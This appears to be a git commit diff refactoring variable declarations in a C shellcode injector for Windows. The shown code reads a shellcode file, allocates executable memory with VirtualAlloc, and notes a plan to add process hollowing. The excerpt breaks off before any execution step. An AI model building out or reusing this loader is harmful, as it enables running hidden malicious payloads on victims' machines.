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removed oldschool variable declarations

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17ms 2023-12-17 01:09:52 +02:00
parent 1aa378391b
commit cb5b95a311
1 changed files with 6 additions and 11 deletions
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17
injector/injector.c
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@ -2,15 +2,10 @@
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
// TODO: implement process hollowing
int main(int argc, char *argv[]) int main(int argc, char *argv[])
{ {
FILE *fin;
unsigned char *buffer;
long fsize;
LPVOID base;
// TODO: implement process hollowing
if (argc != 2) if (argc != 2)
{ {
printf("[?] Usage: injector.exe <shellcode-path>\n"); printf("[?] Usage: injector.exe <shellcode-path>\n");
@ -18,7 +13,7 @@ int main(int argc, char *argv[])
} }
printf("[+] Reading shellcode from %s\n", argv[1]); printf("[+] Reading shellcode from %s\n", argv[1]);
fin = fopen(argv[1], "rb"); FILE *fin = fopen(argv[1], "rb");
if (fin == NULL) if (fin == NULL)
{ {
@ -27,14 +22,14 @@ int main(int argc, char *argv[])
} }
fseek(fin, 0, SEEK_END); fseek(fin, 0, SEEK_END);
fsize = ftell(fin); long fsize = ftell(fin);
rewind(fin); rewind(fin);
buffer = (char *)malloc(fsize); unsigned char *buffer = (char *)malloc(fsize);
fread(buffer, fsize, 1, fin); fread(buffer, fsize, 1, fin);
fclose(fin); fclose(fin);
base = VirtualAlloc(NULL, fsize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); LPVOID base = VirtualAlloc(NULL, fsize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (base == NULL) if (base == NULL)
{ {